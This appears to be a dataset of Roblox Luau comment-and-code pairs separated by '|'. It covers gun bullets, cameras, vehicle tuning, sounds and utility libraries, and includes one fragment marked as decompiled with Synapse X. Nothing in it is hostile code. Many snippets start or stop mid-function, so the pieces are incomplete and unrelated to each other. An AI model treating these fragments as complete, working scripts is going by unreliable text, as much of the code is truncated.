Hit2.Name ~= "RightFoot" and Hit2.Name ~= "LeftUpperLeg" and Hit2.Name ~= "LeftLowerLeg" and Hit2.Name ~= "LeftFoot" and Hit2.Name ~= 'Armor' and Hit2.Name ~= 'EShield' then
table.insert(Ignore_Model, Hit2)
recast = true
CastRay(Bullet)
break
end
end
if raycastResult and not recast then
Bullet:Destroy()
break
end
Bpos2 = Bpos
end
end
Evt.ServerBullet.OnClientEvent:Connect(function(Player, Origin, Direction, WeaponData, ModTable)
if Player ~= plr and Player.Character then
local Bullet = Instance.new("Part",ACS_Workspace.Server)
Bullet.Name = Player.Name.."_Bullet"
Bullet.CanCollide = false
Bullet.Shape = Enum.PartType.Ball
Bullet.Transparency = 1
Bullet.Size = Vector3.new(1,1,1)
local BulletCF = CFrame.new(Origin, Direction)
local WalkMul = WeaponData.WalkMult * ModTable.WalkMult
local BColor = Color3.fromRGB(255,255,255)
if WeaponData.RainbowMode then
BColor = Color3.fromRGB(math.random(0,255),math.random(0,255),math.random(0,255))
else
BColor = WeaponData.TracerColor
end
if WeaponData.Tracer == true then
local At1 = Instance.new("Attachment")
At1.Name = "At1"
At1.Position = Vector3.new(-(.05),0,0)
At1.Parent = Bullet
local At2 = Instance.new("Attachment")
At2.Name = "At2"
At2.Position = Vector3.new((.05),0,0)
At2.Parent = Bullet
local Particles = Instance.new("Trail")
Particles.Transparency = NumberSequence.new({
NumberSequenceKeypoint.new(0, 0, 0);
NumberSequenceKeypoint.new(1, 1);
}
)
Particles.WidthScale = NumberSequence.new({
NumberSequenceKeypoint.new(0, 2, 0);
NumberSequenceKeypoint.new(1, 1);
}
)
Particles.Color = ColorSequence.new(BColor)
Particles.Texture = "rbxassetid://232918622"
Particles.TextureMode = Enum.TextureMode.Stretch
Particles.FaceCamera = true
Particles.LightEmission = 1
Particles.LightInfluence = 0
Particles.Lifetime = .25
Particles.Attachment0 = At1
Particles.Attachment1 = At2
Particles.Parent = Bullet
end
if WeaponData.BulletFlare == true then
local bg = Instance.new("BillboardGui", Bullet)
bg.Adornee = Bullet
local flashsize = math.random(275, 375)/10
bg.Size = UDim2.new(flashsize, 0, flashsize, 0)
bg.LightInfluence = 0
local flash = Instance.new("ImageLabel", bg)
flash.BackgroundTransparency = 1
flash.Size = UDim2.new(1, 0, 1, 0)
flash.Position = UDim2.new(0, 0, 0, 0)
flash.Image = "http://www.roblox.com/asset/?id=1047066405"
flash.ImageTransparency = math.random(2, 5)/15
flash.ImageColor3 = BColor
end
local BulletMass = Bullet:GetMass()
local Force = Vector3.new(0,BulletMass * (196.2) - (WeaponData.BulletDrop) * (196.2), 0)
local BF = Instance.new("BodyForce",Bullet)
Bullet.CFrame = BulletCF
Bullet:ApplyImpulse(Direction * WeaponData.MuzzleVelocity * ModTable.MuzzleVelocity)
BF.Force = Force
game.Debris:AddItem(Bullet, 5)
CastRay(Bullet)
end
end)
|
-- To exit and enter free camera, use key shortcut Left Shift + P
|
local player = game:GetService("Players")
while not player.LocalPlayer do player.Changed:wait() end
player = player.LocalPlayer
local camera = workspace.CurrentCamera
local RS = game:GetService("RunService")
local UIS = game:GetService("UserInputService")
local StarterGui = game:GetService("StarterGui")
local Spring = require(script:WaitForChild("Spring"))
local Maid = require(script:WaitForChild("Maid"))
local WasGuiVisible = {}
function ToggleGui(on)
if not on then
WasGuiVisible["PointsNotificationsActive"] = StarterGui:GetCore("PointsNotificationsActive")
WasGuiVisible["BadgesNotificationsActive"] = StarterGui:GetCore("BadgesNotificationsActive")
WasGuiVisible["Health"] = StarterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Health)
WasGuiVisible["Backpack"] = StarterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Backpack)
WasGuiVisible["PlayerList"] = StarterGui:GetCoreGuiEnabled(Enum.CoreGuiType.PlayerList)
WasGuiVisible["Chat"] = StarterGui:GetCoreGuiEnabled(Enum.CoreGuiType.Chat)
end
local function GuiOn(name)
if on == false then
return false
end
if WasGuiVisible[name] ~= nil then
return WasGuiVisible[name]
end
return true
end
StarterGui:SetCore("PointsNotificationsActive", GuiOn("PointsNotificationsActive"))
StarterGui:SetCore("BadgesNotificationsActive", GuiOn("BadgesNotificationsActive"))
StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Health, GuiOn("Health"))
StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Backpack, GuiOn("Backpack"))
StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.PlayerList, GuiOn("PlayerList"))
StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.Chat, GuiOn("Chat"))
end
|
-- SSR experiments
|
exports.enableSuspenseServerRenderer = _G.__EXPERIMENTAL__
exports.enableSelectiveHydration = _G.__EXPERIMENTAL__
|
-- This code is written very specific for this door
-- The only changes that should be allowed are the X width of parts 'd1' and 'd2
-- The 3 black edge pieces (named "Part") can be deleted if not wanted
| |
-- VisualGraphics
|
local SG = game:GetService("StarterGui")
while wait() do
SG:SetCoreGuiEnabled("Chat", false)
end
|
--This script turns the light on at night and off in in the day!
|
b = script.Parent
c = script.Parent.Parent.Parent
local oh,om = 6,20 -- Open Time (hours,minutes)
local ch,cm = 17,45 -- Close Time (hours, minutes)
local l = game:service("Lighting")
if (om == nil) then om = 0 end
if (cm == nil) then cm = 0 end
function TimeChanged()
local ot = (oh + (om/60)) * 60
local ct = (ch + (cm/60)) * 60
if (ot < ct) then
if (l:GetMinutesAfterMidnight() >= ot) and (l:GetMinutesAfterMidnight() <= ct) then
b.Enabled = false
c.RearLight1.Material = "SmoothPlastic"
else
b.Enabled = true
c.RearLight1.Material = "Neon"
end
elseif (ot > ct) then
if (l:GetMinutesAfterMidnight() >= ot) or (l:GetMinutesAfterMidnight() <= ct) then
b.Enabled = false
c.RearLight1.Material = "SmoothPlastic"
else
b.Enabled = true
c.RearLight1.Material = "Neon"
end
end
end
TimeChanged()
game.Lighting.Changed:connect(function(property)
if (property == "TimeOfDay") then
TimeChanged()
end
end)
|
-- ROBLOX upstream: https://github.com/facebook/jest/tree/v27.4.7/packages/jest-util/src/globsToMatcher.ts
| |
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local handler = car:WaitForChild("AC6_FE_SoundsMisc")
local _Tune = require(car["A-Chassis Tune"])
local on = 0
local mult=0
local det=.13
script:WaitForChild("Rel")
script:WaitForChild("Start")
script.Parent.Values.Gear.Changed:connect(function() mult=1 end)
for i,v in pairs(car.DriveSeat:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
handler:FireServer("newSound","Rel",car.DriveSeat,script.Rel.SoundId,1,script.Rel.Volume,true)
handler:FireServer("newSound","Start",car.DriveSeat,script.Start.SoundId,1,script.Start.Volume,false)
handler:FireServer("playSound","Rel")
car.DriveSeat:WaitForChild("Rel")
car.DriveSeat:WaitForChild("Start")
while wait() do
mult=math.max(0,mult-.1)
local _RPM = script.Parent.Values.RPM.Value
if script.Parent.Values.PreOn.Value then
handler:FireServer("playSound","Start")
wait(1.5)
else
if not script.Parent.IsOn.Value then on=math.max(on-.015,0) else on=1 end
RelVolume = 3*(1 - math.min(((script.Parent.Values.RPM.Value*3)/_Tune.Redline),1))
RelPitch = (math.max((((script.Rel.SetPitch.Value + script.Rel.SetRev.Value*_RPM/_Tune.Redline))*on^2)+(det*mult*math.sin(80*tick())),script.Rel.SetPitch.Value)) * on
end
if FE then
handler:FireServer("updateSound","Rel",script.Rel.SoundId,RelPitch,RelVolume)
else
car.DriveSeat.Rel.Volume = RelVolume
car.DriveSeat.Rel.Pitch = RelPitch
end
end
|
-- Set up the trigger event
|
script.Parent.Trigger.Touched:connect(function(obj)
if (game.Players:GetPlayerFromCharacter(obj.Parent)) then
local t = time()
if ((t-last) < 1) then return end -- 1-second debounce (time-based)
last = t
GoTo(open)
end
end)
|
--// Handling Settings
|
Firerate = 60 / 800; -- 60 = 1 Minute, 700 = Rounds per that 60 seconds. DO NOT TOUCH THE 60!
FireMode = 2; -- 1 = Semi, 2 = Auto, 3 = Burst, 4 = Bolt Action, 5 = Shot, 6 = Explosive
|
--[=[
Shift the emissions from an Observable forward in time by a particular amount.
@param seconds number
@return (source: Observable<T>) -> Observable<T>
]=]
|
function Rx.delay(seconds)
assert(type(seconds) == "number", "Bad seconds")
return function(source)
assert(Observable.isObservable(source), "Bad observable")
return Observable.new(function(sub)
local maid = Maid.new()
maid:GiveTask(source:Subscribe(function(...)
local args = table.pack(...)
maid[args] = cancellableDelay(seconds, function()
maid[args] = nil
sub:Fire(table.unpack(args, 1, args.n))
end)
end, sub:GetFailComplete()))
return maid
end)
end
end
|
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
|
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.ForceFieldPotion -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage
hitPart.Touched:Connect(function(hit)
if debounce == true then
if hit.Parent:FindFirstChild("Humanoid") then
local plr = game.Players:FindFirstChild(hit.Parent.Name)
if plr then
debounce = false
hitPart.BrickColor = BrickColor.new("Bright red")
tool:Clone().Parent = plr.Backpack
wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
debounce = true
hitPart.BrickColor = BrickColor.new("Bright green")
end
end
end
end)
|
--[[
Called when the goal state changes value, or when the speed or damping has
changed.
]]
|
function class:update(): boolean
local goalValue = self._goalState:get(false)
-- figure out if this was a goal change or a speed/damping change
if goalValue == self._goalValue then
-- speed/damping change
local damping = unwrap(self._damping)
if typeof(damping) ~= "number" then
logErrorNonFatal("mistypedSpringDamping", nil, typeof(damping))
elseif damping < 0 then
logErrorNonFatal("invalidSpringDamping", nil, damping)
else
self._currentDamping = damping
end
local speed = unwrap(self._speed)
if typeof(speed) ~= "number" then
logErrorNonFatal("mistypedSpringSpeed", nil, typeof(speed))
elseif speed < 0 then
logErrorNonFatal("invalidSpringSpeed", nil, speed)
else
self._currentSpeed = speed
end
return false
else
-- goal change - reconfigure spring to target new goal
self._goalValue = goalValue
local oldType = self._currentType
local newType = typeof(goalValue)
self._currentType = newType
local springGoals = unpackType(goalValue, newType)
local numSprings = #springGoals
self._springGoals = springGoals
if newType ~= oldType then
-- if the type changed, snap to the new value and rebuild the
-- position and velocity tables
self._currentValue = self._goalValue
local springPositions = table.create(numSprings, 0)
local springVelocities = table.create(numSprings, 0)
for index, springGoal in ipairs(springGoals) do
springPositions[index] = springGoal
end
self._springPositions = springPositions
self._springVelocities = springVelocities
-- the spring may have been animating before, so stop that
SpringScheduler.remove(self)
return true
-- otherwise, the type hasn't changed, just the goal...
elseif numSprings == 0 then
-- if the type isn't animatable, snap to the new value
self._currentValue = self._goalValue
return true
else
-- if it's animatable, let it animate to the goal
SpringScheduler.add(self)
return false
end
end
end
local function Spring<T>(
goalState: PubTypes.Value<T>,
speed: PubTypes.CanBeState<number>?,
damping: PubTypes.CanBeState<number>?
): Types.Spring<T>
-- apply defaults for speed and damping
if speed == nil then
speed = 10
end
if damping == nil then
damping = 1
end
local dependencySet = {[goalState] = true}
if xtypeof(speed) == "State" then
dependencySet[speed] = true
end
if xtypeof(damping) == "State" then
dependencySet[damping] = true
end
local self = setmetatable({
type = "State",
kind = "Spring",
dependencySet = dependencySet,
-- if we held strong references to the dependents, then they wouldn't be
-- able to get garbage collected when they fall out of scope
dependentSet = setmetatable({}, WEAK_KEYS_METATABLE),
_speed = speed,
_damping = damping,
_goalState = goalState,
_goalValue = nil,
_currentType = nil,
_currentValue = nil,
_currentSpeed = unwrap(speed),
_currentDamping = unwrap(damping),
_springPositions = nil,
_springGoals = nil,
_springVelocities = nil
}, CLASS_METATABLE)
initDependency(self)
-- add this object to the goal state's dependent set
goalState.dependentSet[self] = true
self:update()
return self
end
return Spring
|
-- module
|
local INPUT = {}
function INPUT.GetActionInput(self, action)
local input = "nil"
local replacements = {
Zero = "0";
One = "1";
Two = "2";
Three = "3";
Four = "4";
Five = "5";
Six = "6";
Seven = "7";
Eight = "8";
Nine = "9";
MouseButton1 = "MB1";
MouseButton2 = "MB2";
MouseButton3 = "MB3";
Return = "Enter";
Slash = "/";
Tilde = "~";
Backquote = "`";
}
if actions[action] then
local primary, secondary = actions[action].Primary, actions[action].Secondary
if primary then
input = primary.Name
elseif secondary then
input = secondary.Name
end
end
if replacements[input] then
input = replacements[input]
end
return string.upper(input)
end
if not initialized then
local keybindChanged = Instance.new("BindableEvent")
INPUT.KeybindChanged = keybindChanged.Event
actionBegan = Instance.new("BindableEvent")
actionEnded = Instance.new("BindableEvent")
INPUT.ActionBegan = actionBegan.Event
INPUT.ActionEnded = actionEnded.Event
-- register actions
local playerData = PLAYER_DATA:WaitForChild(PLAYER.Name)
local keybinds = playerData:WaitForChild("Keybinds")
local function Register(action, bindP, bindS)
local primary, secondary
if bindP then
local A, B = string.match(bindP, "(.-)%.(.+)")
if A and B then
primary = Enum[A][B]
end
end
if bindS then
local A, B = string.match(bindS, "(.-)%.(.+)")
if A and B then
secondary = Enum[A][B]
end
end
RegisterAction(action, primary, secondary)
keybindChanged:Fire(action)
end
local function Handle(keybind)
local action = keybind.Name
local bind = keybind.Value
if string.match(bind, ";") then
local bindP, bindS = string.match(bind, "(.-);(.+)")
if bindP and bindS then
Register(action, bindP, bindS)
elseif bindP then
Register(action, bindP)
elseif bindS then
Register(action, nil, bindS)
end
else
Register(action, bind)
end
end
keybinds.ChildAdded:connect(function(keybind)
keybind.Changed:connect(function()
Handle(keybind)
end)
RunService.Stepped:wait()
Handle(keybind)
end)
repeat
RunService.Stepped:wait()
until #keybinds:GetChildren() > 0
for _, keybind in pairs(keybinds:GetChildren()) do
keybind.Changed:connect(function()
Handle(keybind)
end)
Handle(keybind)
end
initialized = true
end
return INPUT
|
--// 설정
|
local Main = (script.owner.Value)
local Player = game.Players.LocalPlayer
local Found = false
|
--- Adds a hook to be called when any command is run
|
function Registry:RegisterHook(hookName, callback, priority)
if not self.Hooks[hookName] then
error(("Invalid hook name: %q"):format(hookName), 2)
end
table.insert(self.Hooks[hookName], { callback = callback; priority = priority or 0; } )
table.sort(self.Hooks[hookName], function(a, b) return a.priority < b.priority end)
end
|
-- Signal Type enums
|
RaycastHitbox.SignalType = {
Default = 1,
Single = 2, --- Defaults to Single connections only for legacy purposes
}
|
-- This loads from, or lazily creates, NumberValue objects for exposed parameters
|
function OrbitalCamera:LoadNumberValueParameters()
-- These initial values do not require change listeners since they are read only once
self:LoadOrCreateNumberValueParameter("InitialElevation", "NumberValue", nil)
self:LoadOrCreateNumberValueParameter("InitialDistance", "NumberValue", nil)
-- Note: ReferenceAzimuth is also used as an initial value, but needs a change listener because it is used in the calculation of the limits
self:LoadOrCreateNumberValueParameter("ReferenceAzimuth", "NumberValue", self.SetAndBoundsCheckAzimuthValue)
self:LoadOrCreateNumberValueParameter("CWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues)
self:LoadOrCreateNumberValueParameter("CCWAzimuthTravel", "NumberValue", self.SetAndBoundsCheckAzimuthValues)
self:LoadOrCreateNumberValueParameter("MinElevation", "NumberValue", self.SetAndBoundsCheckElevationValues)
self:LoadOrCreateNumberValueParameter("MaxElevation", "NumberValue", self.SetAndBoundsCheckElevationValues)
self:LoadOrCreateNumberValueParameter("MinDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues)
self:LoadOrCreateNumberValueParameter("MaxDistance", "NumberValue", self.SetAndBoundsCheckDistanceValues)
self:LoadOrCreateNumberValueParameter("UseAzimuthLimits", "BoolValue", self.SetAndBoundsCheckAzimuthValues)
-- Internal values set (in radians, from degrees), plus sanitization
self.curAzimuthRad = math.rad(self.externalProperties["ReferenceAzimuth"])
self.curElevationRad = math.rad(self.externalProperties["InitialElevation"])
self.curDistance = self.externalProperties["InitialDistance"]
self:SetAndBoundsCheckAzimuthValues()
self:SetAndBoundsCheckElevationValues()
self:SetAndBoundsCheckDistanceValues()
end
function OrbitalCamera:GetModuleName()
return "OrbitalCamera"
end
function OrbitalCamera:SetInitialOrientation(humanoid: Humanoid)
if not humanoid or not humanoid.RootPart then
warn("OrbitalCamera could not set initial orientation due to missing humanoid")
return
end
local newDesiredLook = (humanoid.RootPart.CFrame.lookVector - Vector3.new(0,0.23,0)).unit
local horizontalShift = Util.GetAngleBetweenXZVectors(newDesiredLook, self:GetCameraLookVector())
local vertShift = math.asin(self:GetCameraLookVector().y) - math.asin(newDesiredLook.y)
if not Util.IsFinite(horizontalShift) then
horizontalShift = 0
end
if not Util.IsFinite(vertShift) then
vertShift = 0
end
end
|
--[
|
local hpScaling = _Tune.WeightScaling*10
local FBrakeForce = _Tune.FBrakeForce
local RBrakeForce = _Tune.RBrakeForce
local PBrakeForce = _Tune.PBrakeForce
local fFD = _Tune.FinalDrive
local fFDr = fFD*30/math.pi
local wDia = car.RearSection.Wheel.Size.X
local wDRatio = wDia*math.pi/60
local cfWRot = CFrame.Angles(math.pi/2,-math.pi/2,0)
local cfYRot = CFrame.Angles(0,math.pi,0)
local rtTwo = (2^.5)/2
local HP=_Tune.Horsepower/100
local PeakRPM=_Tune.PeakRPM/1000
local Sharpness=_Tune.PeakSharpness
local CurveMult=_Tune.CurveMult
|
Running = 1;
|
Swimming = 2;
Climbing = 3,
Jumping = 4;
GettingUp = 5;
FreeFalling = 6;
FallingDown = 7;
Landing = 8;
Splash = 9;
}
local Humanoid = nil
local Head = nil
--SFX ID to Sound object
local Sounds = {}
do
local Figure = script.Parent.Parent
Head = Figure:WaitForChild("Head")
while not Humanoid do
for _,NewHumanoid in pairs(Figure:GetChildren()) do
if NewHumanoid:IsA("Humanoid") then
Humanoid = NewHumanoid
break
end
end
Figure.ChildAdded:wait()
end
Sounds[SFX.Died] = Head:WaitForChild("Died")
Sounds[SFX.Running] = Head:WaitForChild("Running")
Sounds[SFX.Swimming] = Head:WaitForChild("Swimming")
Sounds[SFX.Climbing] = Head:WaitForChild("Climbing")
Sounds[SFX.Jumping] = Head:WaitForChild("Jumping")
Sounds[SFX.GettingUp] = Head:WaitForChild("GettingUp")
Sounds[SFX.FreeFalling] = Head:WaitForChild("FreeFalling")
Sounds[SFX.Landing] = Head:WaitForChild("Landing")
Sounds[SFX.Splash] = Head:WaitForChild("Splash")
end
local Util
Util = {
--Define linear relationship between (pt1x,pt2x) and (pt2x,pt2y). Evaluate this at x.
YForLineGivenXAndTwoPts = function(x,pt1x,pt1y,pt2x,pt2y)
--(y - y1)/(x - x1) = m
local m = (pt1y - pt2y) / (pt1x - pt2x)
--float b = pt1.y - m * pt1.x;
local b = (pt1y - m * pt1x)
return m * x + b
end;
--Clamps the value of "val" between the "min" and "max"
Clamp = function(val,min,max)
return math.min(max,math.max(min,val))
end;
--Gets the horizontal (x,z) velocity magnitude of the given part
HorizontalSpeed = function(Head)
local hVel = Head.Velocity + Vector3.new(0,-Head.Velocity.Y,0)
return hVel.magnitude
end;
--Gets the vertical (y) velocity magnitude of the given part
VerticalSpeed = function(Head)
return math.abs(Head.Velocity.Y)
end;
--Setting Playing/TimePosition values directly result in less network traffic than Play/Pause/Resume/Stop
--If these properties are enabled, use them.
Play = function(sound)
if sound.TimePosition ~= 0 then
sound.TimePosition = 0
end
if not sound.IsPlaying then
sound.Playing = true
end
end;
Pause = function(sound)
if sound.IsPlaying then
sound.Playing = false
end
end;
Resume = function(sound)
if not sound.IsPlaying then
sound.Playing = true
end
end;
Stop = function(sound)
if sound.IsPlaying then
sound.Playing = false
end
if sound.TimePosition ~= 0 then
sound.TimePosition = 0
end
end;
}
do
-- List of all active Looped sounds
local playingLoopedSounds = {}
-- Last seen Enum.HumanoidStateType
local activeState = nil
-- Verify and set that "sound" is in "playingLoopedSounds".
function setSoundInPlayingLoopedSounds(sound)
for i=1, #playingLoopedSounds do
if playingLoopedSounds[i] == sound then
return
end
end
table.insert(playingLoopedSounds,sound)
end
-- Stop all active looped sounds except parameter "except". If "except" is not passed, all looped sounds will be stopped.
function stopPlayingLoopedSoundsExcept(except)
for i=#playingLoopedSounds,1,-1 do
if playingLoopedSounds[i] ~= except then
Util.Pause(playingLoopedSounds[i])
table.remove(playingLoopedSounds,i)
end
end
end
-- Table of Enum.HumanoidStateType to handling function
local stateUpdateHandler = {
[Enum.HumanoidStateType.Dead] = function()
stopPlayingLoopedSoundsExcept()
local sound = Sounds[SFX.Died]
Util.Play(sound)
end;
[Enum.HumanoidStateType.RunningNoPhysics] = function()
stateUpdated(Enum.HumanoidStateType.Running)
end;
[Enum.HumanoidStateType.Running] = function()
local sound = Sounds[SFX.Running]
stopPlayingLoopedSoundsExcept(sound)
if Util.HorizontalSpeed(Head) > 0.5 then
Util.Resume(sound)
setSoundInPlayingLoopedSounds(sound)
else
stopPlayingLoopedSoundsExcept()
end
end;
[Enum.HumanoidStateType.Swimming] = function()
if activeState ~= Enum.HumanoidStateType.Swimming and Util.VerticalSpeed(Head) > 0.1 then
local splashSound = Sounds[SFX.Splash]
splashSound.Volume = Util.Clamp(
Util.YForLineGivenXAndTwoPts(
Util.VerticalSpeed(Head),
100, 0.28,
350, 1),
0,1)
Util.Play(splashSound)
end
do
local sound = Sounds[SFX.Swimming]
stopPlayingLoopedSoundsExcept(sound)
Util.Resume(sound)
setSoundInPlayingLoopedSounds(sound)
end
end;
[Enum.HumanoidStateType.Climbing] = function()
local sound = Sounds[SFX.Climbing]
if Util.VerticalSpeed(Head) > 0.1 then
Util.Resume(sound)
stopPlayingLoopedSoundsExcept(sound)
else
stopPlayingLoopedSoundsExcept()
end
setSoundInPlayingLoopedSounds(sound)
end;
[Enum.HumanoidStateType.Jumping] = function()
if activeState == Enum.HumanoidStateType.Jumping then
return
end
stopPlayingLoopedSoundsExcept()
local sound = Sounds[SFX.Jumping]
Util.Play(sound)
end;
[Enum.HumanoidStateType.GettingUp] = function()
stopPlayingLoopedSoundsExcept()
local sound = Sounds[SFX.GettingUp]
Util.Play(sound)
end;
[Enum.HumanoidStateType.Freefall] = function()
if activeState == Enum.HumanoidStateType.Freefall then
return
end
local sound = Sounds[SFX.FreeFalling]
sound.Volume = 0
stopPlayingLoopedSoundsExcept()
end;
[Enum.HumanoidStateType.FallingDown] = function()
stopPlayingLoopedSoundsExcept()
end;
[Enum.HumanoidStateType.Landed] = function()
stopPlayingLoopedSoundsExcept()
if Util.VerticalSpeed(Head) > 75 then
local landingSound = Sounds[SFX.Landing]
landingSound.Volume = Util.Clamp(
Util.YForLineGivenXAndTwoPts(
Util.VerticalSpeed(Head),
50, 0,
100, 1),
0,1)
Util.Play(landingSound)
end
end;
[Enum.HumanoidStateType.Seated] = function()
stopPlayingLoopedSoundsExcept()
end;
}
-- Handle state event fired or OnChange fired
function stateUpdated(state)
if stateUpdateHandler[state] ~= nil then
stateUpdateHandler[state]()
end
activeState = state
end
Humanoid.Died:connect( function() stateUpdated(Enum.HumanoidStateType.Dead) end)
Humanoid.Running:connect( function() stateUpdated(Enum.HumanoidStateType.Running) end)
Humanoid.Swimming:connect( function() stateUpdated(Enum.HumanoidStateType.Swimming) end)
Humanoid.Climbing:connect( function() stateUpdated(Enum.HumanoidStateType.Climbing) end)
Humanoid.Jumping:connect( function() stateUpdated(Enum.HumanoidStateType.Jumping) end)
Humanoid.GettingUp:connect( function() stateUpdated(Enum.HumanoidStateType.GettingUp) end)
Humanoid.FreeFalling:connect( function() stateUpdated(Enum.HumanoidStateType.Freefall) end)
Humanoid.FallingDown:connect( function() stateUpdated(Enum.HumanoidStateType.FallingDown) end)
-- required for proper handling of Landed event
Humanoid.StateChanged:connect(function(old, new)
stateUpdated(new)
end)
function onUpdate(stepDeltaSeconds, tickSpeedSeconds)
local stepScale = stepDeltaSeconds / tickSpeedSeconds
do
local sound = Sounds[SFX.FreeFalling]
if activeState == Enum.HumanoidStateType.Freefall then
if Head.Velocity.Y < 0 and Util.VerticalSpeed(Head) > 75 then
Util.Resume(sound)
--Volume takes 1.1 seconds to go from volume 0 to 1
local ANIMATION_LENGTH_SECONDS = 1.1
local normalizedIncrement = tickSpeedSeconds / ANIMATION_LENGTH_SECONDS
sound.Volume = Util.Clamp(sound.Volume + normalizedIncrement * stepScale, 0, 1)
else
sound.Volume = 0
end
else
Util.Pause(sound)
end
end
do
local sound = Sounds[SFX.Running]
if activeState == Enum.HumanoidStateType.Running then
if Util.HorizontalSpeed(Head) < 0.5 then
Util.Pause(sound)
end
end
end
end
local lastTick = tick()
local TICK_SPEED_SECONDS = 0.25
while true do
onUpdate(tick() - lastTick,TICK_SPEED_SECONDS)
lastTick = tick()
wait(TICK_SPEED_SECONDS)
end
end
|
--Interior
|
local INT_PCK = nil
for i,v in pairs(misc:GetDescendants()) do
if v:IsA("ObjectValue") and v.Name == "INTERIOR_PACK" then INT_PCK = v.Value end
end
if INT_PCK then
if INT_PCK:FindFirstChild("Handbrake") then
local HB = INT_PCK.Handbrake
MakeWeld(HB.W,car.DriveSeat,"Motor",0.1)
ModelWeld(HB.Parts,HB.W)
ModelWeld(HB.Misc,car.DriveSeat)
end
if INT_PCK:FindFirstChild("Paddle_Shifter") then
local PS = INT_PCK.Paddle_Shifter
MakeWeld(PS.L,car.DriveSeat,"Motor",0.1)
ModelWeld(PS.Left,PS.L)
MakeWeld(PS.R,car.DriveSeat,"Motor",0.1)
ModelWeld(PS.Right,PS.R)
end
if INT_PCK:FindFirstChild("Pedals") then
local PD = INT_PCK.Pedals
MakeWeld(PD.B,car.DriveSeat,"Motor",0.1)
ModelWeld(PD.Brake,PD.B)
MakeWeld(PD.C,car.DriveSeat,"Motor",0.1)
ModelWeld(PD.Clutch,PD.C)
MakeWeld(PD.T,car.DriveSeat,"Motor",0.1)
ModelWeld(PD.Throttle,PD.T)
end
if INT_PCK:FindFirstChild("Shifter") then
local SH = INT_PCK.Shifter
MakeWeld(SH.Hinge,car.DriveSeat,"Weld")
MakeWeld(SH.W1,SH.Hinge,"Motor",0.05)
MakeWeld(SH.W2,SH.W1,"Motor",0.05)
ModelWeld(SH.Parts,SH.W2)
ModelWeld(SH.Misc,car.DriveSeat)
end
if INT_PCK:FindFirstChild("Steering_Wheel") then
local SW = INT_PCK.Steering_Wheel
MakeWeld(SW.W,car.DriveSeat,"Motor",0.5)
ModelWeld(SW.Parts,SW.W)
end
end
car.DriveSeat.ChildAdded:connect(function(child)
if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
child.C0=CFrame.new(0,-.5,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0)*CFrame.Angles(math.rad(13),0,0)
end
end)
|
--[=[
Observes the spring animating
@param signal RBXScriptSignal
@return Observable<T>
]=]
|
function SpringObject:ObserveOnSignal(signal)
return Observable.new(function(sub)
local maid = Maid.new()
local startAnimate, stopAnimate = StepUtils.bindToSignal(signal, function()
local animating, position = SpringUtils.animating(self._currentSpring)
sub:Fire(SpringUtils.fromLinearIfNeeded(position))
return animating
end)
maid:GiveTask(stopAnimate)
maid:GiveTask(self.Changed:Connect(startAnimate))
startAnimate()
return maid
end)
end
|
--[[Weight and CG]]
|
Tune.Weight = 5000 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
|
--[=[
Repeatedly calls a Promise-returning function up to `times` number of times, waiting `seconds` seconds between each
retry, until the returned Promise resolves.
If the amount of retries is exceeded, the function will return the latest rejected Promise.
@since v3.2.0
@param callback (...: P) -> Promise<T>
@param times number
@param seconds number
@param ...? P
]=]
|
function Promise.retryWithDelay(callback, times, seconds, ...)
assert(isCallable(callback), "Parameter #1 to Promise.retry must be a function")
assert(type(times) == "number", "Parameter #2 (times) to Promise.retry must be a number")
assert(type(seconds) == "number", "Parameter #3 (seconds) to Promise.retry must be a number")
local args, length = { ... }, select("#", ...)
return Promise.resolve(callback(...)):catch(function(...)
if times > 0 then
Promise.delay(seconds):await()
return Promise.retryWithDelay(callback, times - 1, seconds, unpack(args, 1, length))
else
return Promise.reject(...)
end
end)
end
|
--[ LOCALS ]--
|
local VIPGamepassId = 0 -- VIP GAMEPASS ID
local GamepassId = 0 -- GAMEPASS ID
|
--[[
enumList = EnumList.new(name: string, enums: string[])
enumList:BelongsTo(item): boolean
Example:
direction = EnumList.new("Direction", {"Up", "Down", "Left", "Right"})
leftDir = direction.Left
print("IsDirection", direction:BelongsTo(leftDir))
--]]
|
type EnumNames = {string}
local Symbol = require(script.Parent.Symbol)
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = require(game.ReplicatedStorage:WaitForChild("Resources"));
while not v1.Loaded do
game:GetService("RunService").Heartbeat:Wait();
end;
function lerp(p1, p2, p3)
return p1 + (p2 - p1) * p3;
end;
function quadBezier(p4, p5, p6, p7)
return lerp(lerp(p5, p6, p4), lerp(p6, p7, p4), p4);
end;
function ShootFire(p8, p9, p10)
local u1 = workspace:GetServerTimeNow();
coroutine.wrap(function()
local v2 = v1.Assets.Models.PickupParticle:Clone();
v2.Parent = workspace;
